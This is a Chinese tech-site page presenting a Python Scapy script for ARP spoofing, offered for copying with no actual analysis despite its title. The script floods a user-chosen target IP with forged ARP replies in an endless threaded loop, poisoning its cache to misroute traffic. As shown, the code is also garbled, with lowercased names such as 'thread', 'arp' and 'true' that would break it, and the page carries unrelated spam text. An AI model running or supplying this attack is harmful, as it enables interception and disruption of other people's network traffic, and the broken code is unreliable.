当前位置: 移动技术网 > IT编程>脚本编程>Python > python发送arp欺骗攻击代码分析

python发送arp欺骗攻击代码分析

2019年04月02日  | 移动技术网IT编程  | 我要评论

凤凰转生录,煞到帝王心,论文撤稿作者受处

复制代码 代码如下:

# -*- coding: cp936 -*-
from scapy.all import *
from threading import thread,lock,activecount

broadcastmac = getmacbyip('192.168.0.120')

class loop(thread):
    def __init__(self,ip):
        thread.__init__(self)
        self.ip = ip

    def run(self):
        global broadcastmac
        arp = arp()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = broadcastmac
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)

class main(thread):
    def __init__(self,ip):
        thread.__init__(self)
        self.ip = ip

    def run(self):
        limit = 100
        total = 0
        while true:
            if activecount() < limit:
                loop(self.ip).start()
                total = total + 1
            print '目前已进行了arp攻击的次数为:'+str(total)

if __name__ == '__main__':
    ip = raw_input('请输入要进行arp攻击的机器ip:')

    main(ip = ip).start()

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网